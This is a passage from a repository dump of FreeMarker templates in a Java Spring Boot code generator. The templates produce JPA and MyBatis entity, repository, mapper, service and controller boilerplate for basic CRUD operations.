    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.controller;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport ${packageName}.entity.${classInfo.className};\nimport ${packageName}.repository.${classInfo.className}Repository;\nimport org.springframework.data.domain.Example;\nimport org.springframework.data.domain.Pageable;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.data.domain.ExampleMatcher;\nimport org.springframework.data.domain.PageRequest;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RestController;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Optional;\n\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n\n@Slf4j\n@Api(tags = \"${classInfo.className?uncap_first}\")\n@CrossOrigin\n@RestController\n@RequestMapping(\"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    @Autowired\n    private ${classInfo.className}Repository ${classInfo.className?uncap_first}Repository;\n\n    /**\n    * 新增或编辑\n    */\n    @PostMapping(\"/save\")\n    @ApiOperation(value = \"save ${classInfo.className}\", notes = \"save ${classInfo.className}\")\n    public Object save(@RequestBody ${classInfo.className} ${classInfo.className?uncap_first}){\n        try {\n            return ReturnT.success(${classInfo.className?uncap_first}Repository.save(${classInfo.className?uncap_first}));\n        } catch (Exception e) {\n            e.printStackTrace();\n            return ReturnT.error(\"保存失败\");\n        }\n\n    }\n\n    /**\n    * 删除\n    */\n    @PostMapping(\"/delete\")\n    @ApiOperation(value = \"delete ${classInfo.className}\", notes = \"delete ${classInfo.className}\")\n    public Object delete(int id){\n        Optional<${classInfo.className}> ${classInfo.className?uncap_first}=${classInfo.className?uncap_first}Repository.findById(id);\n        if(${classInfo.className?uncap_first}.isPresent()){\n            ${classInfo.className?uncap_first}Repository.deleteById(id);\n            return ${returnUtilSuccess}(\"删除成功\");\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 查询\n    */\n    @PostMapping(\"/find\")\n    @ApiOperation(value = \"find ${classInfo.className} by id\", notes = \"find ${classInfo.className} by id\")\n    public Object find(int id){\n        Optional<${classInfo.className}> ${classInfo.className?uncap_first}=${classInfo.className?uncap_first}Repository.findById(id);\n        if(${classInfo.className?uncap_first}.isPresent()){\n            return ${returnUtilSuccess}(${classInfo.className?uncap_first}.get());\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 分页查询\n    */\n    @PostMapping(\"/list\")\n    @ApiOperation(value = \"list ${classInfo.className}\", notes = \"list ${classInfo.className}\")\n    public Object list(@RequestBody ${classInfo.className} ${classInfo.className?uncap_first},\n                        @RequestParam(required = false, defaultValue = \"0\") int pageNumber,\n                        @RequestParam(required = false, defaultValue = \"10\") int pageSize) {\n\n            try {\n                //创建匹配器，需要查询条件请修改此处代码\n                ExampleMatcher matcher = ExampleMatcher.matchingAll();\n\n                //创建实例\n                Example<${classInfo.className}> example = Example.of(${classInfo.className?uncap_first}, matcher);\n                //分页构造\n                Pageable pageable = PageRequest.of(pageNumber,pageSize);\n\n                return ReturnT.success(${classInfo.className?uncap_first}Repository.findAll(example, pageable));\n\n            } catch (Exception e) {\n                e.printStackTrace();\n                return ReturnT.error(e.getMessage());\n            }\n\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/jpa-starp/starp-repository.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.repository;</#if>\n<#if isAutoImport?exists && isAutoImport==true>import ${packageName}.entity.${classInfo.className};\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n        <#if fieldItem.fieldClass == \"Date\">\n            <#assign importDdate = true />\n        </#if>\n    </#list>\n</#if>\nimport java.util.List;\nimport org.springframework.data.jpa.repository.JpaRepository;\nimport org.springframework.data.jpa.repository.Query;\nimport org.springframework.stereotype.Repository;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Repository\npublic interface ${classInfo.className}Repository extends JpaRepository<${classInfo.className},Integer> {\n\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/jpa-v1/entity.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.entity;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport javax.persistence.Column;\nimport javax.persistence.Entity;\nimport javax.persistence.Id;\nimport javax.persistence.Table;\nimport javax.persistence.GeneratedValue;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Entity\n<#if isLombok?exists && isLombok==true>@Data</#if>\n<#if isComment?exists && isComment==true>@Table(name=\"${classInfo.originTableName}\")</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className} implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    @Id\n    @GeneratedValue\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if>\n    <#if isComment?exists && isComment==true>@Column(name=\"${fieldItem.columnName}\")</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n</#list>\n    public ${classInfo.className}() {\n    }\n</#if>\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/jpa-v1/jpacontroller.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.controller;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport ${packageName}.entity.${classInfo.className};\nimport ${packageName}.repository.${classInfo.className}Repository;\nimport org.springframework.data.domain.Example;\nimport org.springframework.data.domain.Pageable;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.data.domain.ExampleMatcher;\nimport org.springframework.data.domain.PageRequest;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RestController;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Optional;\n\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@RestController\n@RequestMapping(\"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    @Autowired\n    private ${classInfo.className}Repository ${classInfo.className?uncap_first}Repository;\n\n    /**\n    * 新增或编辑\n    */\n    @PostMapping(\"/save\")\n    public Object save(${classInfo.className} ${classInfo.className?uncap_first}){\n        return ${classInfo.className?uncap_first}Repository.save(${classInfo.className?uncap_first});\n    }\n\n    /**\n    * 删除\n    */\n    @PostMapping(\"/delete\")\n    public Object delete(int id){\n        Optional<${classInfo.className}> ${classInfo.className?uncap_first}=${classInfo.className?uncap_first}Repository.findById(id);\n        if(${classInfo.className?uncap_first}.isPresent()){\n            ${classInfo.className?uncap_first}Repository.deleteById(id);\n            return ${returnUtilSuccess}(\"删除成功\");\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 查询\n    */\n    @PostMapping(\"/find\")\n    public Object find(int id){\n        Optional<${classInfo.className}> ${classInfo.className?uncap_first}=${classInfo.className?uncap_first}Repository.findById(id);\n        if(${classInfo.className?uncap_first}.isPresent()){\n            return ${returnUtilSuccess}(${classInfo.className?uncap_first}.get());\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 分页查询\n    */\n    @PostMapping(\"/list\")\n    public Object list(${classInfo.className} ${classInfo.className?uncap_first},\n                        @RequestParam(required = false, defaultValue = \"0\") int pageNumber,\n                        @RequestParam(required = false, defaultValue = \"10\") int pageSize) {\n\n            //创建匹配器，需要查询条件请修改此处代码\n            ExampleMatcher matcher = ExampleMatcher.matchingAll();\n\n            //创建实例\n            Example<${classInfo.className}> example = Example.of(${classInfo.className?uncap_first}, matcher);\n            //分页构造\n            Pageable pageable = PageRequest.of(pageNumber,pageSize);\n\n            return ${classInfo.className?uncap_first}Repository.findAll(example, pageable);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/jpa-v1/repository.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.repository;</#if>\n<#if isAutoImport?exists && isAutoImport==true>import ${packageName}.entity.${classInfo.className};\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n        <#if fieldItem.fieldClass == \"Date\">\n            <#assign importDdate = true />\n        </#if>\n    </#list>\n</#if>\nimport java.util.List;\nimport org.springframework.data.jpa.repository.JpaRepository;\nimport org.springframework.data.jpa.repository.Query;\nimport org.springframework.stereotype.Repository;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Repository\npublic interface ${classInfo.className}Repository extends JpaRepository<${classInfo.className},Integer> {\n\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/model.ftl",
    "content": "package ${packageModel};\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n        <#if fieldItem.fieldClass == \"Date\">\n            <#assign importDdate = true />\n        </#if>\n    </#list>\n</#if>\nimport java.io.Serializable;\n<#if importDdate?? && importDdate>\nimport java.util.Date;\n</#if>\n\n/**\n*  ${classInfo.classComment}\n*\n*  Created by wujun on '${.now?string('yyyy-MM-dd HH:mm:ss')}'.\n*/\npublic class ${classInfo.className} implements Serializable {\n    private static final long serialVersionUID = 42L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    /**\n    * ${fieldItem.fieldComment}\n    */\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n</#list>\n</#if>\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n\n</#list>\n</#if>\n}"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis/${classInfo.className}.java.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport java.io.Serializable;\nimport java.util.Date;\nimport java.util.List;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\npublic class ${classInfo.className} implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n</#list>\n</#if>\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    public ${classInfo.className}() {\n    }\n\n<#list classInfo.fieldList as fieldItem>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n\n</#list>\n</#if>\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis/${classInfo.className}.xml.ftl",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE mapper PUBLIC \"-//mybatis.org//DTD Mapper 3.0//EN\"\n        \"http://mybatis.org/dtd/mybatis-3-mapper.dtd\">\n<mapper namespace=\"${packageName}.dao.${classInfo.className}Dao\">\n\n    <resultMap id=\"BaseResultMap\" type=\"${packageName}.entity.${classInfo.className}Entity\" >\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n            <#list classInfo.fieldList as fieldItem >\n                <result column=\"${fieldItem.columnName}\" property=\"${fieldItem.fieldName}\" />\n            </#list>\n        </#if>\n    </resultMap>\n\n    <sql id=\"Base_Column_List\">\n        <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n            <#list classInfo.fieldList as fieldItem >\n                ${fieldItem.columnName}<#if fieldItem_has_next>,</#if>\n            </#list>\n        </#if>\n    </sql>\n\n    <insert id=\"insert\" useGeneratedKeys=\"true\" keyColumn=\"id\" keyProperty=\"id\" parameterType=\"${packageName}.entity.${classInfo.className}Entity\">\n        INSERT INTO ${classInfo.tableName}\n        <trim prefix=\"(\" suffix=\")\" suffixOverrides=\",\">\n            <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                <#list classInfo.fieldList as fieldItem >\n                    <#if fieldItem.columnName != \"id\" >\n                        <if test=\"null != ${fieldItem.fieldName} and '' != ${fieldItem.fieldName}\">\n                        ${fieldItem.columnName}<#if fieldItem_has_next>,</#if>\n                        ${r\"</if>\"}\n                    </#if>\n                </#list>\n            </#if>\n        </trim>\n        <trim prefix=\"values (\" suffix=\")\" suffixOverrides=\",\">\n            <#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n                <#list classInfo.fieldList as fieldItem >\n                    <#if fieldItem.columnName != \"id\" >\n                    <#--<#if fieldItem.columnName=\"addtime\" || fieldItem.columnName=\"updatetime\" >\n                    ${r\"<if test ='null != \"}${fieldItem.fieldName}${r\"'>\"}\n                        NOW()<#if fieldItem_has_next>,</#if>\n                    ${r\"</if>\"}\n                    <#else>-->\n                        <if test=\"null != ${fieldItem.fieldName} and '' != ${fieldItem.fieldName}\">\n                        ${r\"#{\"}${fieldItem.fieldName}${r\"}\"}<#if fieldItem_has_next>,</#if>\n                        ${r\"</if>\"}\n                    <#--</#if>-->\n                    </#if>\n                </#list>\n            </#if>\n        </trim>\n    </insert>\n\n    <delete id=\"delete\" >\n        DELETE FROM ${classInfo.tableName}\n        WHERE id = ${r\"#{id}\"}\n    </delete>\n\n    <update id=\"update\" parameterType=\"${packageName}.entity.${classInfo.className}Entity\">\n        UPDATE ${classInfo.tableName}\n        <set>\n            <#list classInfo.fieldList as fieldItem >\n                <#if fieldItem.columnName != \"id\" && fieldItem.columnName != \"AddTime\" && fieldItem.columnName != \"UpdateTime\" >\n                    <if test=\"null != ${fieldItem.fieldName} and '' != ${fieldItem.fieldName}\">${fieldItem.columnName} = ${r\"#{\"}${fieldItem.fieldName}${r\"}\"}<#if fieldItem_has_next>,</#if>${r\"</if>\"}\n                </#if>\n            </#list>\n        </set>\n        WHERE id = ${r\"#{\"}id${r\"}\"}\n    </update>\n\n\n    <select id=\"load\" resultMap=\"BaseResultMap\">\n        SELECT <include refid=\"Base_Column_List\" />\n        FROM ${classInfo.tableName}\n        WHERE id = ${r\"#{id}\"}\n    </select>\n\n    <select id=\"pageList\" resultMap=\"BaseResultMap\">\n        SELECT <include refid=\"Base_Column_List\" />\n        FROM ${classInfo.tableName}\n        LIMIT ${r\"#{offset}\"}, ${r\"#{pageSize}\"}\n    </select>\n\n    <select id=\"pageListCount\" resultType=\"java.lang.Integer\">\n        SELECT count(1)\n        FROM ${classInfo.tableName}\n    </select>\n\n</mapper>"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis/${classInfo.className}Controller.java.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\n\nimport javax.annotation.Resource;\nimport javax.servlet.http.HttpServletRequest;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@RestController\n@RequestMapping(value = \"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    @Resource\n    private ${classInfo.className}Service ${classInfo.className?uncap_first}Service;\n\n    /**\n    * 新增\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    @RequestMapping(\"/insert\")\n    public Object insert(${classInfo.className} ${classInfo.className?uncap_first}){\n        return ${classInfo.className?uncap_first}Service.insert(${classInfo.className?uncap_first});\n    }\n\n    /**\n    * 刪除\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    @RequestMapping(\"/delete\")\n    public ReturnT<String> delete(int id){\n        return ${classInfo.className?uncap_first}Service.delete(id);\n    }\n\n    /**\n    * 更新\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    @RequestMapping(\"/update\")\n    public ReturnT<String> update(${classInfo.className} ${classInfo.className?uncap_first}){\n        return ${classInfo.className?uncap_first}Service.update(${classInfo.className?uncap_first});\n    }\n\n    /**\n    * 查询 根据主键 id 查询\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    @RequestMapping(\"/load\")\n    public Object load(int id){\n        return ${classInfo.className?uncap_first}Service.load(id);\n    }\n\n    /**\n    * 查询 分页查询\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    @RequestMapping(\"/pageList\")\n    public Map<String, Object> pageList(@RequestParam(required = false, defaultValue = \"0\") int offset,\n                                        @RequestParam(required = false, defaultValue = \"10\") int pagesize) {\n        return ${classInfo.className?uncap_first}Service.pageList(offset, pagesize);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis/${classInfo.className}Mapper.java.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport org.apache.ibatis.annotations.Param;\nimport org.apache.ibatis.annotations.Mapper;\nimport org.springframework.stereotype.Repository;\nimport java.util.List;\n</#if>\n\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Mapper\n@Repository\npublic interface ${classInfo.className}Mapper {\n\n    /**\n    * 新增\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    int insert(${classInfo.className} ${classInfo.className?uncap_first});\n\n    /**\n    * 刪除\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    int delete(int id);\n\n    /**\n    * 更新\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    int update(${classInfo.className} ${classInfo.className?uncap_first});\n\n    /**\n    * 查询 根据主键 id 查询\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    ${classInfo.className} load(int id);\n\n    /**\n    * 查询 分页查询\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    List<${classInfo.className}> pageList(int offset,int pagesize);\n\n    /**\n    * 查询 分页查询 count\n    * @author ${authorName}\n    * @date ${.now?string('yyyy/MM/dd')}\n    **/\n    int pageListCount(int offset,int pagesize);\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis/${classInfo.className}Mapper2.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.mapper;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport org.apache.ibatis.annotations.*;\nimport org.springframework.stereotype.Repository;\nimport java.util.List;\n</#if>\n/**\n * @description ${classInfo.classComment}Mapper\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Mapper\n@Repository\npublic interface ${classInfo.className}Mapper {\n\n    @Select(\"select * from ${classInfo.tableName} where ${classInfo.tableName}_id=#{id}\")\n    public ${classInfo.className} getById(Integer id);\n\n    @Options(useGeneratedKeys=true,keyProperty=\"${classInfo.className?uncap_first}Id\")\n    @Insert(\"insert into ${classInfo.tableName}\" +\n        \" (<#list classInfo.fieldList as fieldItem >${fieldItem.columnName}<#if fieldItem_has_next>,</#if></#list>)\" +\n        \" values(<#list classInfo.fieldList as fieldItem >${fieldItem.fieldName}<#if fieldItem_has_next>,<#else>)</#if></#list>\")\n    public Integer insert(${classInfo.className} ${classInfo.className?uncap_first});\n\n    @Delete(value = \"delete from ${classInfo.tableName} where ${classInfo.tableName}_id=#{${classInfo.className?uncap_first}Id}\")\n    boolean delete(Integer id);\n\n    @Update(value = \"update ${classInfo.tableName} set \"\n    <#list classInfo.fieldList as fieldItem >\n        <#if fieldItem.columnName != \"id\">+\" ${fieldItem.columnName}=#{${fieldItem.fieldName}}<#if fieldItem_has_next>,</#if>\"</#if>\n    </#list>\n        +\" where ${classInfo.tableName}_id=#{${classInfo.className?uncap_first}Id} \")\n    boolean update(${classInfo.className} ${classInfo.className?uncap_first});\n\n\n    @Results(value = {\n    <#list classInfo.fieldList as fieldItem >\n        @Result(property = \"${fieldItem.fieldName}\", column = \"${fieldItem.columnName}\")<#if fieldItem_has_next>,</#if>\n    </#list>\n    })\n    @Select(value = \"select * from ${classInfo.tableName} where ${classInfo.tableName}_id=#{queryParam}\")\n    ${classInfo.className} selectOne(String queryParam);\n\n    @Results(value = {\n    <#list classInfo.fieldList as fieldItem >\n        @Result(property = \"${fieldItem.fieldName}\", column = \"${fieldItem.columnName}\")<#if fieldItem_has_next>,</#if>\n    </#list>\n    })\n    @Select(value = \"select * from ${classInfo.tableName} where \"\n    <#list classInfo.fieldList as fieldItem >\n        +\" ${fieldItem.columnName}=#{${fieldItem.fieldName}}<#if fieldItem_has_next> or </#if>\"\n    </#list>\n    )\n    List<${classInfo.className}> selectList(${classInfo.className} ${classInfo.className?uncap_first});\n\n}"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis/${classInfo.className}Service.java.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport java.util.Map;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\npublic interface ${classInfo.className}Service {\n\n    /**\n    * 新增\n    */\n    public Object insert(${classInfo.className} ${classInfo.className?uncap_first});\n\n    /**\n    * 删除\n    */\n    public Object delete(int id);\n\n    /**\n    * 更新\n    */\n    public Object update(${classInfo.className} ${classInfo.className?uncap_first});\n\n    /**\n    * 根据主键 id 查询\n    */\n    public ${classInfo.className} load(int id);\n\n    /**\n    * 分页查询\n    */\n    public Map<String,Object> pageList(int offset, int pagesize);\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis/${classInfo.className}ServiceImpl.java.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.stereotype.Service;\nimport javax.annotation.Resource;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Service\npublic class ${classInfo.className}ServiceImpl implements ${classInfo.className}Service {\n\n\t@Resource\n\tprivate ${classInfo.className}Mapper ${classInfo.className?uncap_first}Mapper;\n\n\n\t@Override\n\tpublic Object insert(${classInfo.className} ${classInfo.className?uncap_first}) {\n\n\t\t// valid\n\t\tif (${classInfo.className?uncap_first} == null) {\n\t\t\treturn ${returnUtilFailure}(\"必要参数缺失\");\n        }\n\n\t\t${classInfo.className?uncap_first}Mapper.insert(${classInfo.className?uncap_first});\n        return ${returnUtilSuccess}();\n\t}\n\n\n\t@Override\n\tpublic Object delete(int id) {\n\t\tint ret = ${classInfo.className?uncap_first}Mapper.delete(id);\n\t\treturn ret>0?${returnUtilSuccess}():${returnUtilFailure}();\n\t}\n\n\n\t@Override\n\tpublic Object update(${classInfo.className} ${classInfo.className?uncap_first}) {\n\t\tint ret = ${classInfo.className?uncap_first}Mapper.update(${classInfo.className?uncap_first});\n\t\treturn ret>0?${returnUtilSuccess}():${returnUtilFailure}();\n\t}\n\n\n\t@Override\n\tpublic ${classInfo.className} load(int id) {\n\t\treturn ${classInfo.className?uncap_first}Mapper.load(id);\n\t}\n\n\n\t@Override\n\tpublic Map<String,Object> pageList(int offset, int pagesize) {\n\n\t\tList<${classInfo.className}> pageList = ${classInfo.className?uncap_first}Mapper.pageList(offset, pagesize);\n\t\tint totalCount = ${classInfo.className?uncap_first}Mapper.pageListCount(offset, pagesize);\n\n\t\t// result\n\t\tMap<String, Object> result = new HashMap<String, Object>();\n\t\tresult.put(\"pageList\", pageList);\n\t\tresult.put(\"totalCount\", totalCount);\n\n\t\treturn result;\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus/${classInfo.className}.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.entity;</#if>\n\n<#if isAutoImport?exists && isAutoImport==true>\n<#if isLombok?exists && isLombok==true>import lombok.Data;</#if>\nimport java.util.Date;\nimport java.util.List;\nimport java.io.Serializable;\nimport com.baomidou.mybatisplus.annotation.IdType;\nimport com.baomidou.mybatisplus.annotation.TableId;\n<#if isSwagger?exists && isSwagger==true>\nimport io.swagger.annotations.ApiModel;\nimport io.swagger.annotations.ApiModelProperty;</#if>\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n<#if isLombok?exists && isLombok==true>@Data</#if><#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className} implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    @TableId(type = IdType.AUTO)\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n<#if isLombok?exists && isLombok==false>\n    public ${fieldItem.fieldClass} get${fieldItem.fieldName?cap_first}() {\n        return ${fieldItem.fieldName};\n    }\n\n    public void set${fieldItem.fieldName?cap_first}(${fieldItem.fieldClass} ${fieldItem.fieldName}) {\n        this.${fieldItem.fieldName} = ${fieldItem.fieldName};\n    }\n</#if>\n</#list>\n</#if>\n    public ${classInfo.className}() {}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/mybatis-plus/${classInfo.className}Controller.java.ftl",
    "content": "<#if isWithPackage?exists && isWithPackage==true>package ${packageName}.controller;</#if>\n<#if isAutoImport?exists && isAutoImport==true>\nimport com.alibaba.fastjson.JSON;\nimport ${packageName}.entity.${classInfo.className};\nimport ${packageName}.mapper.${classInfo.className}Mapper;\nimport ${packageName}.util.ReturnT;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.commons.lang3.StringUtils;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.*;\nimport com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport org.springframework.web.servlet.ModelAndView;\n\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n/**\n* @description ${classInfo.classComment}控制器\n* @author ${authorName}\n* @date ${.now?string('yyyy-MM-dd')}\n*/\n@Slf4j\n@RestController\n@RequestMapping(\"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    @Autowired\n    private ${classInfo.className}Mapper ${classInfo.className?uncap_first}Mapper;\n\n    /**\n    * 新增或编辑\n    */\n    @PostMapping(\"/save\")\n    public Object save(@RequestBody ${classInfo.className} ${classInfo.className?uncap_first}){\n        log.info(\"${classInfo.className?uncap_first}:\"+JSON.toJSONString(${classInfo.className?uncap_first}));\n        ${classInfo.className} old${classInfo.className} = ${classInfo.className?uncap_first}Mapper.selectOne(new QueryWrapper<${classInfo.className}>().eq(\"${classInfo.className?uncap_first}_id\",${classInfo.className?uncap_first}.get${classInfo.className}Id()));\n        ${classInfo.className?uncap_first}.setUpdateTime(new Date());\n        if(old${classInfo.className}!=null){\n            